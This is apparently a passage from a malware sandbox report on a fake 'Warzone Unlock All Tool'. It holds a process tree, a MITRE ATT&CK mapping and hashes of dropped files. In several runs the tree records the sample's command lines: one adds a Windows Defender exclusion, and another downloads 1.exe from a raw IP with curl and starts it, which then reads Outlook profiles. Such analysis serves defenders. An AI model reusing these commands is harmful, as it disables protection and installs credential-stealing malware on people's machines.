      4⤵
      PID:1920
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1720,i,5942673050488101137,3197525819334627134,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:11
      4⤵
      PID:4084
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2296,i,5942673050488101137,3197525819334627134,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:13
      4⤵
      PID:3292
  - - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4168,i,5942673050488101137,3197525819334627134,262144 --variations-seed-version --mojo-platform-channel-handle=4184 /prefetch:14
      4⤵
      PID:2008
  - - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4168,i,5942673050488101137,3197525819334627134,262144 --variations-seed-version --mojo-platform-channel-handle=4184 /prefetch:14
      4⤵
      PID:2740
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4288,i,5942673050488101137,3197525819334627134,262144 --variations-seed-version --mojo-platform-channel-handle=4296 /prefetch:14
      4⤵
      PID:4884
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=4360,i,5942673050488101137,3197525819334627134,262144 --variations-seed-version --mojo-platform-channel-handle=4496 /prefetch:1
      4⤵
      PID:3176
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4988,i,5942673050488101137,3197525819334627134,262144 --variations-seed-version --mojo-platform-channel-handle=4596 /prefetch:14
      4⤵
      PID:1292
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4388,i,5942673050488101137,3197525819334627134,262144 --variations-seed-version --mojo-platform-channel-handle=5008 /prefetch:14
      4⤵
      PID:6136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=4248,i,5942673050488101137,3197525819334627134,262144 --variations-seed-version --mojo-platform-channel-handle=4372 /prefetch:1
      4⤵
      PID:3556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=568,i,5942673050488101137,3197525819334627134,262144 --variations-seed-version --mojo-platform-channel-handle=5620 /prefetch:14
      4⤵
      PID:3560
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5668,i,5942673050488101137,3197525819334627134,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:14
      4⤵
      PID:1744
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4236,i,5942673050488101137,3197525819334627134,262144 --variations-seed-version --mojo-platform-channel-handle=5712 /prefetch:14
      4⤵
      PID:1944
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4600,i,5942673050488101137,3197525819334627134,262144 --variations-seed-version --mojo-platform-channel-handle=5308 /prefetch:14
      4⤵
      PID:1088
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4996,i,5942673050488101137,3197525819334627134,262144 --variations-seed-version --mojo-platform-channel-handle=5692 /prefetch:14
      4⤵
      PID:1512
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=5116,i,5942673050488101137,3197525819334627134,262144 --variations-seed-version --mojo-platform-channel-handle=4292 /prefetch:10
      4⤵
      PID:5616
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3336,i,5942673050488101137,3197525819334627134,262144 --variations-seed-version --mojo-platform-channel-handle=3928 /prefetch:14
      4⤵
      PID:492
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5720,i,5942673050488101137,3197525819334627134,262144 --variations-seed-version --mojo-platform-channel-handle=4548 /prefetch:14
      4⤵
      PID:2348
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4268,i,5942673050488101137,3197525819334627134,262144 --variations-seed-version --mojo-platform-channel-handle=5140 /prefetch:14
      4⤵
      PID:5280

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:3332

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:932

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:5816

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
1⤵
- Modifies registry class
PID:3608

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
1⤵
PID:5836

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5436

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:2452

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:568

C:\Users\Admin\Downloads\WarzoneUnlock_All_Tool_2.9.5\Warzone_Unlock_All_Tool.exe
"C:\Users\Admin\Downloads\WarzoneUnlock_All_Tool_2.9.5\Warzone_Unlock_All_Tool.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:3856
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\1.exe'"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1116
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\1.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6112
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Temp\ & curl -o 1.exe http://147.45.44.170/1.exe & start 1.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5744
- - C:\Windows\SysWOW64\curl.exe
    curl -o 1.exe http://147.45.44.170/1.exe
    3⤵
    - Downloads MZ/PE file
    PID:1088
- - C:\Windows\Temp\1.exe
    1.exe
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5256

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:4576

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:1020

C:\Users\Admin\Downloads\WarzoneUnlock_All_Tool_2.9.5\Warzone_Unlock_All_Tool.exe
"C:\Users\Admin\Downloads\WarzoneUnlock_All_Tool_2.9.5\Warzone_Unlock_All_Tool.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2100
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\1.exe'"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5288
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\1.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4932
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Temp\ & curl -o 1.exe http://147.45.44.170/1.exe & start 1.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:660
- - C:\Windows\SysWOW64\curl.exe
    curl -o 1.exe http://147.45.44.170/1.exe
    3⤵
    - Downloads MZ/PE file
    PID:5436
- - C:\Windows\Temp\1.exe
    1.exe
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5156

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:1852

C:\Users\Admin\Downloads\WarzoneUnlock_All_Tool_2.9.5\Warzone_Unlock_All_Tool.exe
"C:\Users\Admin\Downloads\WarzoneUnlock_All_Tool_2.9.5\Warzone_Unlock_All_Tool.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:5116
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\1.exe'"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5276
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\1.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6068
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Temp\ & curl -o 1.exe http://147.45.44.170/1.exe & start 1.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2352
- - C:\Windows\SysWOW64\curl.exe
    curl -o 1.exe http://147.45.44.170/1.exe
    3⤵
    - Downloads MZ/PE file
    PID:2772
- - C:\Windows\Temp\1.exe
    1.exe
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:684

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:5660

C:\Users\Admin\Downloads\WarzoneUnlock_All_Tool_2.9.5\Warzone_Unlock_All_Tool.exe
"C:\Users\Admin\Downloads\WarzoneUnlock_All_Tool_2.9.5\Warzone_Unlock_All_Tool.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:800
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\1.exe'"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5256
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\1.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4496
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Temp\ & curl -o 1.exe http://147.45.44.170/1.exe & start 1.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3936
- - C:\Windows\SysWOW64\curl.exe
    curl -o 1.exe http://147.45.44.170/1.exe
    3⤵
    - Downloads MZ/PE file
    PID:3872
- - C:\Windows\Temp\1.exe
    1.exe
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3896

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:3756

C:\Users\Admin\Downloads\WarzoneUnlock_All_Tool_2.9.5\Warzone_Unlock_All_Tool.exe
"C:\Users\Admin\Downloads\WarzoneUnlock_All_Tool_2.9.5\Warzone_Unlock_All_Tool.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2996
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\1.exe'"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5216
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\1.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    PID:5612
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Temp\ & curl -o 1.exe http://147.45.44.170/1.exe & start 1.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1884
- - C:\Windows\SysWOW64\curl.exe
    curl -o 1.exe http://147.45.44.170/1.exe
    3⤵
    - Downloads MZ/PE file
    PID:5632
- - C:\Windows\Temp\1.exe
    1.exe
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious use of AdjustPrivilegeToken
    PID:5912

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:1476

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\DebugOptimize.3gpp"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:5816

C:\Users\Admin\Downloads\WarzoneUnlock_All_Tool_2.9.5\Warzone_Unlock_All_Tool.exe
"C:\Users\Admin\Downloads\WarzoneUnlock_All_Tool_2.9.5\Warzone_Unlock_All_Tool.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2792
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\1.exe'"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5908
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\1.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4100
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Temp\ & curl -o 1.exe http://147.45.44.170/1.exe & start 1.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4356
- - C:\Windows\SysWOW64\curl.exe
    curl -o 1.exe http://147.45.44.170/1.exe
    3⤵
    - Downloads MZ/PE file
    PID:5200
- - C:\Windows\Temp\1.exe
    1.exe
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:4768

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
280B

MD5
852be886e5e156cae1f6c3377411d158

SHA1
2080b71ee99781939036da2b607b8af1244aad9b

SHA256
ed8100549b186226b8ec411b2e182844b2667b7f7c93b450f51f857e20e541ac

SHA512
fa55ef75123992e770f529cf9ffd4f33a7d59bdafc5916da821e13d02dc1faf85cb880ac99f710d2cc3917e2ccc6119c66180bc42cf938830c59359af18bd6de

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
280B

MD5
e5f3655796637b7d0f4a8ed402e119ea

SHA1
3baaf516676664d46727759914745776a166016a

SHA256
22d91a4321390a9445110f04d5600f49f03604a2d7ecadd10c663248295c88dd

SHA512
2125899d678c926c9f85ad81892f8ee91aa0a74e4c533bcb6e48675ebf0eccbe0db17998f3e3ab961cf3beb8fef7f950588398c5868327aa2d33f81bde797ebe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
280B

MD5
f880691e3412b31e2150de00e8dc40da

SHA1
31c45b951f577d8ddec9f3c6b44adc0e2d6aabe0

SHA256
2d1c692d262fb0c61f8418d7c84bf836f1673e7bccb5a2cdab2be867944e4716

SHA512
9c54ab8f9c35d5fa3d30bd41d3548d38c92e66f9f55031839006d4ede79b4d1f5001f9b5365c8aa7469f23b0412f0b4cfc7c2a9ef36538c3d2fdd993dd636248

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\274cc663-9c7c-4d64-b4ee-766312376ca9.tmp

Filesize
17KB

MD5
2fdb84eadc0cd5f5c08cd11c02d37331

SHA1
8ba43c9297dd9e4f9d422fa2626cc1da7e6325ed

SHA256
6dd8b3e81b84a819b584ab8bcde05a0cd57fee5e4dee891a9df4fe32c1be8ea4

SHA512
b69de667d11df835925ab8f182f8d428461d90f94e058540f28ee11c43f05fbecbb8f26c405229321c0671ca824754c70ffa523b2abe2170889b254673a4f20d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000007.log

Filesize
21KB

MD5
733d5faf5053261dcdf1d9f653420c4a

SHA1
ce943c74cb75e06a1f7939e91faa81253f8b2ee0

SHA256
013d49e41bfd58c2a3cfdb9bdcffb453988ff7bd5ac65379139c02efc92ab7df

SHA512
64cca1eab3ad895e42e1a316e162a4176e7390549f5cb7f1f8ef7335be1a463fef752274e63e3c832290dc613f1ad3104e11d1057780597c7fa8a0abda1d7b53

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old

Filesize
334B

MD5
f9ee5a34c66258daf583167eb8aad7d4

SHA1
a0a33f3a7076a57ebd181d2cb18ac182c5dc890d

SHA256
8d4d7202db12acd3f7a658a7a9eaf4bf6aea5f2a6aeb44f030578b829811841b

SHA512
62c09546e5bc1048a70aa0774482d10ed2479f09eb187ff3185d7e3398f6d038e33b013db50d1842a37102ce1af77c396b90d0bab1022562f4087067557161f8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old

Filesize
334B

MD5
01d48e1bc9321674f8874bcd926508d4

SHA1
19a4e3f3822971d7d6777eee6ab779a1976f0588

SHA256
b5ddd3e1453e2242bcee1b679f52cca96a4b6e49d27e722f437f7a37e6491401

SHA512
377c28bdfdb0d51a3279c85e8a2934a703333d2ef519563186f886ae518e390633747ede06eba1ddbf0e52fdb30993e65475a419fd43a055e0b64a0ae13ee855

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_0

Filesize
44KB

MD5
d03b1aafdb318256c22048b5bfc64838

SHA1
bd564dbc4c08b3a5a7b30768af2c05a90ac9a836

SHA256
84b89c07dad3725bc1ead9664767e88117838b2b4408c6caa694b45d08bda7ce

SHA512
2487923520dc582b03079017ebf170278dcb372f529a4da2365a13fe90c1e349d3d7e35d28e36be48e87c9b4951d3e49c6b4b43eb95a3045e92a4fcfd40b7bac

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_1

Filesize
264KB

MD5
578dc0fbab4305af655bffa2019dcc6d

SHA1
76482e6cc5e80b008ff239d1c797f1072d513f80

SHA256
6c57c031162e8c5361f058671a454f4e60bc95c1a4522851804cc4f1797ab52e

SHA512
2f877ebe3844815e2fa75efca5c0e2c866ae8cda3f9bbab44217a0756090f6a323cfa21eae7e79002f66c82f0de7bfffc0674c9977ecf0cad2f6c44d6ded7b1b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_2

Filesize
1.0MB

MD5
6f4b89cd7cd90446705ce0eecdd0f3ac

SHA1
c3a8a55d78f763743be7c95faf198902ac71caf1

SHA256
30a03c87eda52c9a740066e2c656aee20100f25f1bc9a6a02df11e1249dd0cf2

SHA512
d0377c168b666d466c07c06353a09496790e66598c838ba39f9f007c0282a1002cfa7a8ab01c6e8e38c159bd3fbbe6a07a1ffdac607b3af1454392cd329370bf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_3

Filesize
8.0MB

MD5
d2e3d25e09f59759f782456f259d1ccb

SHA1
c205b73747ada5e7628c3fba0e50b6b525de15ce

SHA256
e7f416f30f2dc141d4061a6a097f408e1e682fc5af0c2f7683e0f8220dfef117

SHA512
e89a25a74571635715019accfa3ee0ea60bbad22ac72b07a40bfeec8fc6282927dfc55ff7caf8e4e3403044b6722eacbed5b9ccec23c571c274a6e550dbd3885

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000048

Filesize
60KB

MD5
16cffc267021d9fcc12c6d1813f5e004

SHA1
2a0df77cc91040f746e262761676e046a3006775

SHA256
f1658778a658d4cccac30130d5637dca601bfb7bc7413e91f23846f6868ba94a

SHA512
7f60b429397425ae83496c7f363625f9910e3d691b975a29eb6bb0afd2be37f504687053f4a93e4ca5e87cd57d96f3d44e22f2a6e9bc64264933d97a6ea55c8e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000049

Filesize
356KB

MD5
c7aed2a8d58b5bc0d59e9d223b6a434a

SHA1
a93577a27c06cc088a6d966b43e01c9fb3f89d2f

SHA256
1e5565414fbdb8b804b1ff25cdd3ce729fcb9a1285727588919a667920cdc1ae

SHA512
863473a4550c1325c3e3f10ee8a94c22d4896b16462be40c0f956ea9227a065be15d310816ea87617face1530652dce6d4b6406888d69ed63e29e5b2b788e165

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00004a

Filesize
162KB

MD5
f89f9d992e0ef7817529e4a53e48e5b3

SHA1
c437ceaf970b53f3bbafb76faf1112879d521960

SHA256
c7f6451e774195b0c8917fd2b06fcc4d49f56af6a4200b930d243df5fcbc2cdd

SHA512
a28ececbdeabeef79feddacea285f6f77f241f160c9818205be6e0f10a58fd40de40199a19eca69fdf06a402d563a5a42010f199b8b3180b38305a7d88cd886d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00004b

Filesize
71KB

MD5
4279aac10eef912ef8d3edfa3c57fa4f

SHA1
2b046f56941e2684f16f1f794f27c3e34e8d0c25

SHA256
c1248f41922bba9b0d9c2b3d922518f36027841ae048490d40efbedbba14fb58

SHA512
bb0ad20d821f76e98a4dec3aef467658d7711fa1af24a4b2ba8b0d1161eb107f2b3821cbe734a8b966faafbea4fe30bb61f4738c342dd8b73cab7c9263f5513d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00004c

Filesize
112KB

MD5
1e1aa6bed96dfbd2a06b9f64d62ff214

SHA1
02a14fe939dbc72afabe54c3b4779f3eb5ab5425

SHA256
7a17f2b88d8cb2c92f10c52d4c7da9ba8bf6df44fe7450ffa5b179914e7e37e3

SHA512
e50554958ec702201eea01752f2fb79894531736259a8c1b433bc481cf6191117e65a8fc80e079acd2ce60f0372d17255d5fe93151a2455121e8edf91efa1beb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00004d

Filesize
81KB

